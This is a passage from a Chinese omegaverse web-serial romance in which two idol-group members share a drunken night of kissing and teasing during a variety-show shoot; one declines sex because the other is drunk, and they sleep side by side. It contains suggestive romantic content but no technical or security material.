正是晴朗的白天,他的头顶古木葱葱,绿意盎然青翠,有不毒辣的阳光自头顶上空照射下来,透过绿叶间的缝隙洒下在他发间和脸上。 杭泽宇加入进来凑热闹,瞥了几秒,他“哟”一声:“拍得还挺好嘞!” “喏,哥你看。” 陆翰音示意江白树将屏幕转向一旁对着手机回复消息的汤昼恒。 被提到的人很配合地倾身过来。 结果还没看清那上边的图片,下一秒,一只手冷不防从手机后头探出—— 啪! 直接将江白树手里的东西抓走了。 “哎!”江白树大叫,待看清来人是谁,却是一愣,“你醒了啊?” 场面突变,聚在一起的几人纷纷抬起眼,就见原本坐在茶几另一头的那人不知何时站了起来,单手撑在桌面,腰身和手臂都伸展得老长,不辞辛苦地越过整个茶几“偷袭”。 方柏嘉今晚混合酒喝得头晕,心情也不大美丽,从收工后人就显得蔫巴巴的,别人都在聊天讲八卦的时候,就他在手扶着头闷闷地划手机。 刚才终于支撑不住,默不作声地趴在茶几边缘休息了会儿。一片混沌中听见似乎有人在喊他,晕头转向地一抬头,发现陆翰音和江白树在拿着手机讨论他给汤昼恒拍的那张照片,甚至还打算给“正主”瞧。 喝了酒后的大脑思维迟钝,干什么都要想上许久,偏偏在碰上汤昼恒时依然灵敏,仅仅只是几个简单的关键词,就自动在方柏嘉的脑海里串成线路,触发出反应机制,立刻不由分说地起身抢夺手机—— 动作堪称一个快、准、狠。 “谁让你们看我手机的,这么没礼貌。”方柏嘉一脸不悦地蹙起眉,嘟囔着将手机摁灭了屏。 “嘿,之前问手机主人是谁的时候,你也没说是你啊。大家都拍了照片,怎么不能看看你的了。”江白树一脸莫名,“又不是你的真手机,相机里还能看到你裸/照?话说你这张队长的照片——” “我只是想拍后面那棵树而已,他刚好入镜了。” 方柏嘉面无表情地打断了江白树的话,却不敢去看汤昼恒的表情。 明明那个人就在面前,他却表现得好像对方根本就不存在,只顾着对不相关的人解释。 这手机是他傍晚回来,在沙发上休息时随手放到客厅里的。后面去厨房准备食材,就忘了这回事,哪想到还能被人偷看。 方柏嘉想给手机上个密码,又觉得这个举动太过此地无银三百两,干脆将东西塞进裤子口袋,站起身道:“不和你们说了,我去上卫生间……” “间”字的尾音还没落。 这一下起得太急,被酒精麻痹过的脑子掌握不好平衡,方柏嘉的躯体猛然大幅度地一晃,向后踉跄了好几步,跌坐在沙发上。 跌跌撞撞的样子让人很难想象得到,数秒前的他竟有着那么精准的爆发力。 “你今天才喝了多少,就醉成这样?”杭泽宇十分诧异。 “没见他喝多啊。”江白树对着人上下打量。 方柏嘉用力摇摇头,像要把脑袋里的酒意驱赶出去:“六、七杯吧。” “我去,这么点就把你干倒了?” 成员们用来喝酒的是那种1 shot的小酒杯,他一晚上下来就算喝了七杯,加起来的量恐怕都还没一瓶罐装可乐多。 方柏嘉懒得回答,试图从沙发上站起来。这回好险是成功了,只是走出去的脚步明显还很虚浮。 几个人眼看着他去了转角处上楼的电梯。 “你走错了!”江白树抬高嗓音喊他,“厕所在一楼就有。” “我不。”方柏嘉头也不回,“我就要到楼上去上。” 其实是想赶紧把手机藏起来。 旁边的丞绪边打游戏边摇头:“就让他去吧。” * 过去了半个小时,方柏嘉还没下来。 “那家伙人呢?”江白树说,“该不会厕所上着上着在卫生间晕了吧?” 不只是他,大家都发现方柏嘉已经很久没出现了。 汤昼恒站起来说:“我去看看。” 丞绪头也不抬,在背后叮嘱:“他要是睡了你就别叫他了,让他接着休息——” 汤昼恒应了声,同样上了楼。 到了方柏嘉的房间,发现他连门都没关,房门敞着一条不小的缝。卧室里没开大灯,从配套的卫生间内溢出的灯光勉强点亮了附近的空间,不算明朗,但能视物。 汤昼恒第一时间扫了眼床上。 没人。 视线往旁边一移,他差点以为自己撞见了案发现场。 打开的衣柜滑门里,有一双腿露了出来。 “……” 汤昼走过去,发现方柏嘉就躺在里面。 他坐在衣柜底部,像是什么爱钻橱柜的小狗,双臂兀自抱着一只小行李箱睡得酣沉,浑然不觉有人进了房间。 汤昼恒推了推他的肩膀,低声将人唤醒:“怎么在这里睡着了。” 方柏嘉睡眼惺忪地睁开双眸,经汤昼恒这么一说,也才意识到自己睡觉的地方似乎不对。 他坐直起来,摸摸后脑勺,整个人似被一层倦意裹住,说话都显得口齿不清:“我刷完牙想换衣服来着……觉得头很晕就躺下了。” 汤昼恒一低眼,果然看见方柏嘉的大腿上盖着一套新的睡衣,看来是还没来得及穿上就断片了。 他将那两件衣服拿起来,抓住方柏嘉的两条胳膊:“我扶你起来。” 方柏嘉没有反抗,很顺从地被他搀着站了起来,刚一迈步,却发现自己的双腿不听使唤。 “……嗯?” 身体晃晃悠悠,脚下的地面像球体一样在转动。方柏嘉走了两步就感到一阵天旋地转,对平衡的感知失了灵,腿一软,整个人沉甸甸就要往下坠。 好在汤昼恒一直关注着他的状态,也看出方柏嘉这会儿人不清醒,始终稳稳当当抓着他这侧的手臂。 见方柏嘉喝醉的程度比自己想象中还严重,他长臂一伸,宽大的手掌立刻将对方从下滑的状态中一把捞起,牢牢箍紧了那人的腰腹。 方柏嘉还有些搞不清状况,晕乎乎地说:“我的腿怎么了?……怎么使不上劲。” 他看起来很蒙圈,整张脸是在昏暗状态下也能看出的异色,可想而知,应该和烧熟的虾一样红润。 方柏嘉的嗓音也飘忽,鼻音很浓,喉咙眼被酒精冲刷浸泡过,加上是刚睡醒,显得比平时低沉沙哑许多。 汤昼恒抿了抿唇:“因为你喝醉了。” 喝醉? 方柏嘉愣住几秒,随后很快地反驳:“我没醉!我酒量好得很,平时都经常喝酒的。” 话是这样说,他那异常雀跃的口吻却明显是醉鬼标配,让人很难不怀疑方柏嘉现在还有几丝清醒。 汤昼恒扬扬眉。 众所周知一大铁律,喝了酒的人说自己没醉,那就一定是醉了。 他扶着方柏嘉往床边带:“是吗。你平时喝几度的酒啊?” 言下之意是,才喝了几杯就醉成这样,哪来的经常喝。 何况,汤昼恒并不记得方柏嘉有什么喝酒的习惯。 他说这话分明有调侃的意味,下一秒,却见方柏嘉抬起头,眼巴巴地看着他。 冲他缓缓举起三根手指,一板一眼地说:“百分之三。” 汤昼恒:“…………” 这和直接喝饮料有什么区别。 汤昼恒没说话,方柏嘉发现这人在一直携着他往前走,一脸迷茫地又开口:“你这是要带我去哪?” 这种双脚像踩在棉花上的感觉让他觉得很不舒服,方柏嘉忍不住挣扎起来,却因为保持不了平衡,身体斜斜地歪在身旁的青年身上。 “你喝多了,我扶你去床上睡觉。”汤昼恒说。 “我都说了我没醉!”方柏嘉不知为何突然发起酒疯,抬高了嗓音抗议,“我还要玩游戏呢。游戏还没玩完,我不睡觉。” 方柏嘉死活不往床上坐,一副自己还能再挽起袖子熬通宵的样子,嘟嘟囔囔地和汤昼恒耍赖皮。 醉了的人,表现特别明显,从表情到语气都是恍惚的,眼神有点涣散,说话的语调时慢时快,会有种掉帧后再加速的感觉,抑扬顿挫的,像在诗朗诵。 汤昼恒大抵是觉得方柏嘉这个样子挺好玩,倒也陪他闹,强忍着嘴边那点笑意,顺着他的话问:“你还想下去?他们在下面打牌,你可能要等一会才能玩上。” 方柏嘉当下倒又不显得困了,闭了一会儿眼,又睁开,眼睛睁得动物一样圆,看着他慢慢摇头。 “我只和你玩儿。” “和我?”汤昼恒不解,“你想玩什么?” 就见面前的人眼睛转着,慢慢从一头滑到另一头,最后和汤昼恒对视:“只有我们两个,玩‘当然了’,我先提问。” 醉鬼讲话就是理直气壮,方柏嘉甚至没说一句“可以么”,好像笃定汤昼恒不会拒绝。 汤昼恒也确实没有说不。 他花了不到两秒的时间反应过来,方柏嘉说的是他们之前在见面会上玩过的游戏。不知道对方突然提起这个是什么意图,他想了想,倒也觉得无伤大雅:“行,你问。” 这句话讲完,方柏嘉却好一会儿没有动静。 像在酝酿什么似的,从原本侧对着汤昼恒的姿势改为和他面对面站着,因为站不住,干脆整个趴在对方身上,胸口抵进汤昼恒的胸膛。抬起头,眼睛却垂着,仿佛经过一番深思熟虑—— 也可能单纯只是酒后的脑子转不大动,过了许久,嘴里才兀地蹦出来一句:“……你,其实是海王吧?” 汤昼恒:“?” 什么东西? 他感到莫名,下意识道:“为什么这么说?” 方柏嘉皱起眉,似乎对汤昼恒的回应感到失望,立刻举起一根手指按在对方唇上,“嗯嗯嗯”地摇头。 “说错了。你要回答——‘当然了’。你输了,要接受惩罚!” 一上场就被打了个措手不及,汤昼恒还有点懵。 半秒之后觉得好笑,认命道:“好吧。你想怎么惩罚我?” 方柏嘉的嘴唇以及脖颈处都动了动,似是小幅度地吞咽了下。突然间伸手捧住汤昼恒的双颊两侧,朝他吻上。 一阵热风扑面,精致的脸孔在他面前飞快放大。 意识到对方要做什么,汤昼恒不自觉在方柏嘉凑近的瞬间张开双唇,跟着他一起做出浅浅吮吸般的动作。 唇瓣相触,因为摩擦而发出轻微的“啵”声。 抵在一起的嘴唇黏连了片刻才依依不舍地分开,方柏嘉移开唇,在距离这人不到一毫米的近处停顿一下,这才慢慢退回至刚才的距离,无法无天地和汤昼恒目光对望,脸上的表情像在说:你管我? “惩罚完了。”他理直气壮地说。 …… 汤昼恒失语了。 这算什么惩罚。 这样的话,根本就算不上惩罚。 他怔了一下,还没理清方柏嘉的这套行事逻辑,就听对方又开口:“下一个问题。你是不是觉得我很不好搞,所以一直拿我当鱼来钓?” 他的语气无来由就激愤起来:“你当我是什么?备胎吗,想起来了就撩一下,想不起来就放着?” 汤昼恒:“………………” 所以,这其实是对方的审问大会? 说是玩“当然了”,结果就只有方柏嘉在提问。还给他扣了这么多的帽子,汤昼恒甚至觉得有很多都是自己的台词。 他?钓鱼,海王? 这些词汇究竟为什么会和自己有关联,难道一个人醉了也能颠倒黑白? 面对这突如其来的指控,汤昼恒的感觉复杂而又茫然。 脑海中隐约闪过什么可能性,影影绰绰,他来不及思考,只是尽量冷静地指出:“这好像不是能用‘当然了’回答的句式。” 方柏嘉哪里听他的话,立刻又像抓住了对方小辫子似的大喊一声:“你输了!惩罚!” 浑然不管自己这样是不是胜之不武的耍赖,当即便又依葫芦画瓢,抱着汤昼恒的脑袋,狠狠地凑上去亲了第二下。 “第三个问题。” 方柏嘉说:“这么玩弄我,你不会有愧疚感吗?” ……他真是服了。 如果说汤昼恒刚才还仅仅只是觉得对方醉了,那么现在他要给这个人的状态加上一个副词。 醉得离谱。 从来没有人告诉他方柏嘉喝大了以后会变得这么难缠。 汤昼恒哑然,意识到这是个他回答不行、不回答也不行,不管怎么样方柏嘉都不会满意的问题。 到底谁玩弄他了?年轻的alpha在心中纳罕地想。 这人怎么就自顾自开始走起谴责渣男的流程了? 在他思索出合适的对策之前,方柏嘉的忍耐度已经降到极限。 见对方不说话,顿时早有预料般地“哼哼”两声,恨恨地说了句:“我就知道你答不上来!” 他说着,气势汹汹的,好像打定主意要让汤昼恒知道三心二意的下场,话音一落,就迅速以迅雷不及掩耳之势贴了上来,凶狠地含住他的嘴唇。 汤昼恒:“……” 这才是真正的钓鱼行为吧。 嘴上说是惩罚,其实全是奖励。 汤昼恒甚至都开始怀疑方柏嘉是不是故意的了。 假装喝醉,这样就能为自己摆脱责任,把他乱七八糟地胡撩一通,第二天早上再装不清醒,这样又享受了他的服务,还可以不担风险。 所以这到底对自己惩罚了什么。 制裁力度完全为0啊。 方柏嘉这回亲得比之前两次都要用力。 像是被汤昼恒的反应勾起火气,要将自己连日积攒起来的、没头没脑的怨气全都宣泄出来,不再只是碰一下就放开,而是更深长也更持久的,没有任何收敛的舔舐与啃咬。 整个晕乎乎的脑袋里只剩下一个念头: 他要化悲愤为动力,和汤昼恒相亲相恨! 喝醉了的人没个轻重,也对正在发生的事缺乏概念,方柏嘉整个身体的重量都压在对方身上,亲得停不下来。 汤昼恒感觉自己真的像被一只醉醺醺摇着尾巴的小狗给拱了,和方柏嘉双双跌倒在床上。 唇瓣因为跌落带来的冲击力短暂分开,方柏嘉很快又缠上来,侧躺着环住汤昼恒的脖子跟他湿吻,香甜的舌头主动钻进这人的口腔,当做这些天冷落后的补偿。 Alpha的嘴唇很软,里头好似塞了棉花,是具有魔力般的、令人着迷的触感。 汤昼恒心里觉得被冤枉,面对主动送上门来的诱惑,却也没有太多拒绝的道理。将这当做是他被看成海王渣男的补偿,将方柏嘉带进怀里,顺势品尝他似有奶油香气的双唇。 两人一时都像忘了游戏的存在,亲得忘我,难舍难分,唇舌纠缠间只能听到柔密湿腻的、经由搅动发出的咕啾水声。 汤昼恒下意识探到他腰间,像抚摸一块完美无瑕的玉,在方柏嘉的腰部两侧摩/挲。 方柏嘉被他碰得发痒,整截腰身都在轻轻地抖,近乎是渴水一般汲取对方嘴里的唾液。 过了一会儿,他忽然抬起身体,一翻身,拦腰骑在汤昼恒的腿上。 汤昼恒因此平躺,感觉到方柏嘉的身体重量沉沉压在他的体表,先是整个人都趴在他的身上,低下头来继续和汤昼恒接吻。 两三分钟后,又冷不丁撑起上半身,月要月夸发/力,无师自通地在他身上mo了起来。 “……” 疯了吧这人。 察觉到方柏嘉在做什么,汤昼恒太阳穴附近的血管猛地跳了跳。 ……这是真的比格天性发作,把他当玩具了? 他清了清嗓子,叫他的名字:“方柏嘉。” 黑暗中,竖于青年上方的影子随着话音一颤。 对方的动作紧跟着停下来了一瞬,但并未说话。 没过多久,又仿佛完全没听到汤昼恒的点名一样,接着故态复萌,自娱自乐。 他们几乎正对面撞在一起。汤昼恒闷哼一声,感觉不妙,猛一下抬手攥住方柏嘉的手腕。 第46章 第 46 章 我要和你睡觉! “方柏嘉!——”汤昼恒皱紧眉头, 提高音量又喊了声。 真是够了。 汤昼恒勉强压下心口的那阵心浮气躁,不等对方做出反应,一把抓着方柏嘉的双手将他拉了下来。 那人跌落在他身上, 吐气急促。 似乎还想挣扎,汤昼恒察觉到他的意图, 双臂绕到后面将他缠紧,防止他又乱动蹭出点什么, 语气严厉得像是恐吓:“你这样, 再搞下去难受的只会是你自己。别动。” 方柏嘉哪里肯听他的, 仍试图从汤昼恒的怀抱里挣脱出来。 努力了几下发现没多大用, 刚刚的他还连路都走不稳, 现在又怎么会有力气? 忙了一会儿收获为零, 方柏嘉发现自己怎么也逃不出汤昼恒的禁锢,整个人又累又颓丧,只好放弃, 脑袋晕乎乎地趴在对方身上喘了片刻的气, 听起来几乎是泫然欲泣地嘟囔了一句话。 很模糊的几个字。 他的声音太低, 嘴巴张开的幅度也小,吐出来的音节黏糊糊地裹成一团,汤昼恒没听清, 问他:“什么?” 这两个字像点燃了对方的炸药引线, 原本还萎靡不振的方柏嘉陡然抬起头来,中气十足地道:“我要和你睡觉!” 地动山摇、震耳欲聋的一声,简直和宣誓一样。 听得汤昼恒当场一愣,还以为自己也喝多了,出了幻听。可仔细一瞧,方柏嘉就在面前那么认真地瞪大眼睛看着自己, 如此的理所应当。 汤昼恒的沉默震耳欲聋。 一时不知道自己究竟该不该回答、要回答什么。 方柏嘉似乎也没准备从汤昼恒这里立刻得到答案,不等他说话,又醉醺醺伸出一根食指,眼神直勾勾盯着面前的人:“最后一个问题。” “……”居然还有问题吗。 汤昼恒觉得自己真应该拿个什么东西把方柏嘉这些话都录下来,好让第二天醒来的对方都听听,他晚上究竟说了多么离奇的内容,免得方柏嘉到时候以不记得的名义赖账。 这样想着,汤昼恒还真的下意识摸了摸裤子口袋,没有。 上来前没想到自己能待这么久,他的手机还在楼下。 正觉得有些可惜,汤昼恒的手随便往床单上一按,抓到一个冰凉凉的扁长方块。 他把它捞起来,凭借手感找到侧边的按钮,打开屏幕一看—— 最初始的彩色桌面,是方柏嘉那部赞助手机,大概是被他喝醉后随手扔到床上去了。 汤昼恒的眉梢抬起来又落下,侧头看了眼似乎并没有注意到他在做什么的方柏嘉,又看回屏幕。 手指在界面上点了几下,他不动声色地将调暗了屏幕光线的电子产品举高一点,挪到靠近方柏嘉的脑后一侧。 一边这么操作,他一边扯了扯嘴角:“我可以不回答么?” “不可以。”方柏嘉气势汹汹、斩钉截铁地说,“被提问者不许发表异议,认真回答问题!” 说完,方柏嘉停顿良久,像被汤昼恒中途打断,一下忘了自己要说什么,脑袋上仿佛有个灰色缓冲标志在转圈。 汤昼恒见他这样,明知故问:“问题呢?怎么不说话了?” 方柏嘉想不起来,啧了一声,烦躁又有点委屈地怒道:“还不是你打断我!——” 又缓冲了两秒,想到了。 “你,一直以来都在对我欲擒故纵吧?”方柏嘉说。 由于已经有了准备,汤昼恒没有再被方柏嘉的提问搞得不知所措。 他沉着地否定:“我没有。” “那你为什么不和我睡?!”方柏嘉紧追不舍地质问他,像在指责一个负心汉。 汤昼恒感觉自己今晚沉默的次数比过去一个月加起来都多。 他寂静良久,才找回自己的声音道:“……因为你醉了。” “我没醉!”方柏嘉很惊诧地反驳。 “你醉了。”汤昼恒表示重复以及肯定,语气几乎有点怜悯,“刚才我们亲了多久?你还/骑/我,结果你连立都立不起来。” 反倒是汤昼恒,结果比他可观多了。 ……如果说这就是对他的惩罚,那倒也不是不合理。 方柏嘉石像般呆住。 但显然没被对方这个借口给难倒,很快又说:“我又不靠前面和你做!” 虽然喝醉了,但反应和诡辩能力倒是挺快,汤昼恒居然真的被说得无言了那么半秒。 他纳闷起来,语气微妙地探询:“你到底为什么这么想和我睡?” 是某种执念吗? 可明明方柏嘉平时在他面前也没展现出来这点。 这到底属于酒后意外的心声袒露,还是人喝醉了就是会性情大变? 汤昼恒摸不准。 方柏嘉直勾勾看着他,忽然又倾身上前,轻轻咬住汤昼恒的嘴唇吮吸。 “因为你长得又帅,性格又好,*人也舒服。”他的声音黏黏糊糊,边亲汤昼恒边发出模糊的字音,“每天都想和你做。” 喝醉的alpha大胆地发表出放浪形骸的言论。 “……” 这么说,他是不是该庆幸自己的条件很有市场? 汤昼恒哽了一下,不得不承认有一瞬间他确实心动了,但一个醉鬼的话显然不够有说服力。 “不行,这里没有套。”他还是道。 尽管他们都是alpha,不过基本的保护措施依然得有。 汤昼恒本以为自己说出这样的话后,方柏嘉就该知难而退。 没想到对方几乎是想也不想地接上:“那你就无——” 汤昼恒眉心一紧。 仿佛猜到方柏嘉接下来要说什么,他猛地伸手将他的嘴给捂住。 担心身上的人又乱动,汤昼恒另一只手也没闲着,捧着这人的后脑勺把他按在胸口,示意对方冷静。 “唔唔!”方柏嘉对他的行为十分不满,无奈自己的下半张脸都隐没在汤昼恒的掌心之后,只能发出这样的闷声。 好不容易叫汤昼恒放开他,方柏嘉一张口就又是:“我不管!我就要和你睡觉。你不同意,我!%&*#@——” 然后再度被捂住。 紧闭着的门外传来一阵路过的脚步声,汤昼恒低声提醒:“有人来了。” 方柏嘉挣扎的幅度这才小点,但依旧不忿,一颗毛茸茸的脑袋在汤昼恒的身前毫无章法地乱蹭。 汤昼恒原本专注听着门外动静的注意力顷刻被他毁灭殆尽,只感觉有什么温热的物体在胸前动来动去,一时间连头皮都有些发紧。 这感觉也太诡异了点。 脚步声一来一回,从这一层的走廊上彻底消失之后,汤昼恒才松开手。 方柏嘉终于得以自由,从胸膛上抬起头来盯着他。下巴搁在他胸口正中间略有凹陷的骨头处,像个大肆捣乱后停下来趴着休息的小动物,迷蒙的眼神突然变得亮亮的。 还以为他又要叫嚷些有的没的来控诉,就听他忽然感叹:“你的胸好大。” “…………” 喝醉了的人的思维都这么发散吗。 方柏嘉没发现汤昼恒那一刹那的无语,自顾自接着形容:“而且还软,还——” 被汤昼恒这么一按,方柏嘉意外地发现对方的这里用来当枕头很不错,触感软硬适中,还有弹性,忍不住低下头,额头又抵着额外蹭了蹭,手也探上来,在汤昼恒的身前摸来摸去地掂量成色。 摸了没几下,汤昼恒气息都被他搞乱了,即刻“没收”了他的作案工具,再次将方柏嘉两只乱动的手抓起来固定住。 “说话就说话,别耍流氓。” 汤昼恒脸上微热,故作镇定。 “……你这人怎么这样!” 掌心被迫撤离温热的表面,方柏嘉先是一愣,随后怒了,听起来又气愤又伤心欲绝,还夹杂着一丝不可置信:“你练这么大,不就是为了勾引我?不给睡也就算了,现在竟然连摸都不让摸……” 方柏嘉仿佛天塌了般地呜咽一声:“好过分,坏男人。” …… 这话说的,平时也没见你怎么想摸。 汤昼恒险些对这样的方柏嘉失去招架,疑惑着醉酒后的他怎么就变得和白天完全不像一个人。 思来想去了许久,忽然间灵光一闪,焦头烂额地问那人:“你是不是伪感期又到了,这么黏人?” 方柏嘉眨巴眨巴眼,一脸迷茫地看着他。 汤昼恒发现他还真是选择性地听懂一部分内容。 不过,这个问题也不需要方柏嘉来回答。 汤昼恒回想了下对方上次伪感期的时间,发现确实已经过去快一个月了。 今晚的一切似乎都有了解释。 对方这样,真的好像发/晴的小狗。都不知道自己身上发生了什么,就急哄哄地来寻求安慰。 汤昼恒突然就心软了,感受到方柏嘉的不满,试图对他晓之以情动之以理:“你乖一点。” “大家都在,你也敢乱来,就不怕被人发现?平时怎么没见你这么大胆?我要真……了你,明天起床怎么办?” 他就着这个将对方抱在怀里的姿势,用指腹碾了碾方柏嘉的脸。 方柏嘉那块肌肤似是被摩挲得有点痒,忍不住侧头避了避,像被汤昼恒讲得不好意思,突然间又羞赧起来。 “那你陪我睡觉。”他哼哼,“你明天就要走了,马上就看不到你了。” 汤昼恒有一瞬间差点又要领会错误,还好他及时看了看方柏嘉的表情,意识到这人说的就只是字面意义上单纯的“睡觉”。 如果谨慎一点,他应该拒绝。 毕竟就像他说的那样,大家都一起住在别墅里,早上人来人往,说不定还有工作人员在,要是被人发现汤昼恒放着自己的房间不住,反而睡在方柏嘉这里,恐怕不太好解释。 可转念一想,方柏嘉毕竟快伪感期了。 他这个情况吃不了抑制剂,想让汤昼恒多陪他一会儿也不是什么过分要求,自己明天早点起来换房就好了。 方柏嘉的语气听起来对他很不舍,汤昼恒心里一动,声线比刚才还要柔和:“这么不想我走?” 方柏嘉闷闷地嗯了下。 汤昼恒又问:“舍不得我?” 对方再次应得不假思索。 见方柏嘉如此有问必答,汤昼恒忍不住变本加厉:“是舍不得我的人,还是舍不得我的信息素,担心我走了没人陪你过伪感期?” 方柏嘉没说话。 “方柏嘉?” 汤昼恒以为他睡着了,从下边托着他的大腿,把人抱到自己能看清他脸的位置打量他,发现方柏嘉眼睛是睁着的,只不过一脸困倦:“问你你怎么不说话?” 被他叫到的人缓慢眨了下眼:“我在想。” 他在汤昼恒的怀里翻了下身,不知道是不是酒后大脑的运转速度变慢,又过了好几秒才说:“都舍不得。” 汤昼恒对这个回复不大满意,耐心地引导纠正:“其实还是更舍不得我对不对?” 方柏嘉迟疑两秒,轻浅地又“嗯”一声。 汤昼恒:“……” 好乖。 他怎么这么乖,问什么就说什么。 喝醉了的方柏嘉好听话。 汤昼恒决定给他一些奖励。 “张嘴。”Alpha低声说着,朝他靠近。 方柏嘉的眼睫重重颤了颤。因为猜到了对方的意图,所以并未表示出抗拒。听完,居然真的如汤昼恒所言一般,轻轻掀开嘴唇。 随后,气息被人掠夺。 方柏嘉的脖颈不自觉地后仰,感觉到汤昼恒迅速侵入他的唇齿。湿热的舌肉伸进来,温柔而又轻快地搅动。 他含着方柏嘉的软舌吸舔几下,又放开,退出来缠绵地吮吻对方薄薄的唇,像要把他这里当成两片奶油一般吞吃下去。 方柏嘉被他撩拨,不满足于这样表层的互动,又主动张开嘴巴,粉红的舌头一下、一下刮着汤昼恒半张开的唇缝,对着他那在亲吻中不时露出来的一截舌尖不断嘬吮,做出示意对方接着和他舌抵舌地湿吻的急切邀请。 啧啧的水声淫靡而又错乱,方柏嘉嘴巴里被汤昼恒亲得唔唔嗯嗯,哼声不断,喉咙间发出急促的喘息。 得了奖励,他人又开始躁动,其实还想不老实来着,可腰后边被汤昼恒提前预判般用力地按着,方柏嘉想多动也动不了,只能望梅止渴地从他这里汲取唾液,因为近距离的亲密接触而爽得浑身发抖。 …… 被对方抱着亲了好几分钟,方柏嘉从头到脚都没了力气,整个人像橡皮一样软地靠在他身上,分不清这到底是酒精带来的效果,还是亲吻的副作用。 他低低地哽了一下,似真似假地抱怨:“你又不接着往下做,干嘛还一直亲我……” 汤昼恒觉得好笑:“这两者之间有关联吗?我就不能单纯只是想亲你?” “当然不行!”方柏嘉的目光早已迷离,花了许久才勉强聚焦。听了他的话,却回光返照似的精神起来,不爽地提高了音量,“别人都跟我说了,alpha这么久才做一次是不正常的,互相喜欢的人不可能忍这么长时间。” “你都不想和我做,根本就不喜欢我。”他下定论道。 “?”什么东西。 这段话里的槽点太多,汤昼恒被砸蒙圈了。 反应过来的第一句话是:“谁告诉你的?” “你别管!”方柏嘉比格上身,怒气冲冲道,“你就说对不对吧?为什么不和我做?为什么不和我做,为什么不和我做——” 三句一模一样的话,居然每一句都是不同的声调,最后一句尤其拖长了尾音。 “。” 被眼前的人冤枉了一晚上,此刻还魔音贯耳了一把,汤昼恒觉得自己也算是体验了一次忍人的日常生活。 本以为怀里的人还会再闹一会儿,结果方柏嘉只喊了几句就累得不行——也可能是酒喝太多,没什么力气,瘦条条一个人又倒下来,伤心沮丧地重新把头低下,埋在汤昼恒的胸口默然神伤:“你不喜欢我。” 汤昼恒心情一下变得奇异。 他压下满腹的疑问,好像这是个必须认真回答的问题,隔了两秒才轻声说:“没有不喜欢你。” 青年抬起一只手,在空中滞留了会儿,最后轻柔地拍了拍怀中人的后脑勺。 汤昼恒等了好一会儿,没等到方柏嘉下一步的回应。 还以为这人是害羞了,需要点时间反应,于是耐心地不说话。 直到近十秒钟过去,汤昼恒忽然看见方柏嘉的身形极其平稳而规律地起伏起来,鼻腔里同时发出悠长的呼吸声。 “……” “方柏嘉?” 汤昼恒又叫一次对方的名字。有所预感地轻轻掐住那人的下巴,抬起来看了看。 只见方柏嘉双眸紧闭,一副在睡梦中被打扰了的样子,嘟囔了一句“干嘛啊”。 ……合着他就这样瞎闹一通,自己满足完就把汤昼恒当成肉垫趴着睡了。 汤昼恒怔住片刻,无语地笑了出来。 躺在床上,冲着天花板看了半晌,他这才坐起,小心翼翼地将方柏嘉从他身上扒下,把这人抱回枕头上安放好。 移动过程中方柏嘉迷迷糊糊被他弄醒,也没多动,半眯着眼享受汤昼恒的服务。 汤昼恒给人盖好被子,坐在床边背对着他开始穿鞋。 Alpha以为来人要走,迷迷瞪瞪从被窝里伸出手将他拉住:“你要去哪?说好了陪我睡觉的——不准走。” 汤昼恒错愕地回过头。 反应过来,抓着方柏嘉搭在他小臂上的手,揉了揉:“没有要走。大家还不知道你已经睡了,我得和他们说一声再上来。” 方柏嘉听了他的解释,这才同意放人。 “那你快点。” 汤昼恒出了卧室,却并没有立刻去和其他人会合,而是回了一趟自己的房间,快四十分钟后才出来。 Alpha的呼吸和心跳频率都有上升,脸色也微微有点发红,但在客厅昏暗的氛围灯照耀下,没人发现异样。 汤昼恒下了楼又折返,拿上自己的电子设备以及无线耳机,躺回床上。 琢磨着过去了这么久,房内的人应该早已睡得很沉,全程轻手轻脚。 结果另一头的方柏嘉听到动静,立刻像开了自动引路,床面上滚了一圈,十分黏人地一头扎进他的身前,一只手还搭在他的胸口,犹嫌不足地摸了好几下。 汤昼恒惊了一下,没想到对方居然还没睡,长臂一伸,将滚进他怀里的人给揽住。 脑海里忽然就响起方柏嘉之前说过的那句“你的胸好大”,汤昼恒抬起手,迟疑地在自己胸前按了按。 大吗?就一般吧。 他到底是爱豆,需要考虑到上镜的美感,得控制肌肉量,跟那些专门走硬汉风格的alpha没法比。 看来方柏嘉喜欢这种的。 汤昼恒思索着,耳边冷不丁听见那人口齿不清地说:“你的手怎么样了?” 汤昼恒一愣。 下意识看了眼自己正扶在他肩上的手掌,又转头望向说话的人。 方柏嘉在一片幽暗里闭着眼,只有嘴巴还在嘀嘀咕咕,像是困倦极了说出来的梦话。 “什么手怎么样?”他莫名地问。 霎时间竟有丝说不出的心虚,还以为自己之前在另一间卧室里的举动被他发现,将鼻尖凑到掌心乃至指根处闻了闻。 没有味道。汤昼恒拢共洗了两遍手,手部的肌肤被洗手液好好地浸润过,只散发出植物的清香。 “就是今天玩游戏的时候,你不是抱我来着……”方柏嘉小声地咕哝着,大概是太困了,仍没睁眼。说话声越来越小,几乎消失不见。 汤昼恒这才意识到自己理解有误,心头像被什么柔软的东西触动,轻声回答:“我没事。” 方柏嘉“嗯”了一声,放心了似的,听完没再说些什么,脑袋一偏,接着又靠住汤昼恒“昏迷”过去。 忙了一天的团综拍摄,时值凌晨,汤昼恒本来已有倦意,被方柏嘉闹了一通,短时间内却是再也睡不着了,睁着眼仰躺在床头,脑子里想的都是对方今晚对他说的那些话,到底是什么意思? 当是时,汤昼恒真有想将这人从床上薅起来好好再“审问”一遍的冲动。 然而看着方柏嘉困兮兮的样子,他又实在于心不忍,也不认为对方这个状态可以认真谈些什么,只能暂时按下,先给这人当陪睡抱枕。 罪魁祸首兀自在他身边睡得香甜,侧躺着将一条手臂搭在汤昼恒的小腹上端,仿佛夹着一个还在散发着热气的巨大人形玩偶。 汤昼恒保持着这个被对方抱睡的姿势沉思少顷,扭头看向一旁的床头柜。 上边摆着他放上去的,方柏嘉的那只赞助手机。 汤昼恒想到什么,眼神一下变得微妙,重新拿起手机打开翻阅,顺便给自己戴上了耳机。 他目不转睛地盯着手机屏幕,半晌,用气音笑了声。 第47章 第 47 章 你喜欢的根本就不是树。…… 第二天清早。 汤昼恒几乎是闹钟一响就起来了。 他以最快速度轻手轻脚地关掉闹铃, 身边的人却还是被吵起来了,汤昼恒回过头,看见方柏嘉正缩在被窝里揉眼睛。 他半个身子还靠在汤昼恒的怀里, 察觉到旁边的人有要离去的意图,手臂下意识缠着对方的腰不放。 “我去看一眼外面有没有人。”汤昼恒说。 方柏嘉不满地哼哼了声, 闭着双眼,眉毛蹙着, 刚开机的大脑还没拐过弯来, 只迷迷糊糊想着, 哦, 汤昼恒在他旁边。 ……汤昼恒为什么会在他旁边? 方柏嘉将眼睛掀开条缝, 懵然地抬头环视了一圈屋内, 这是自己的房间没错。 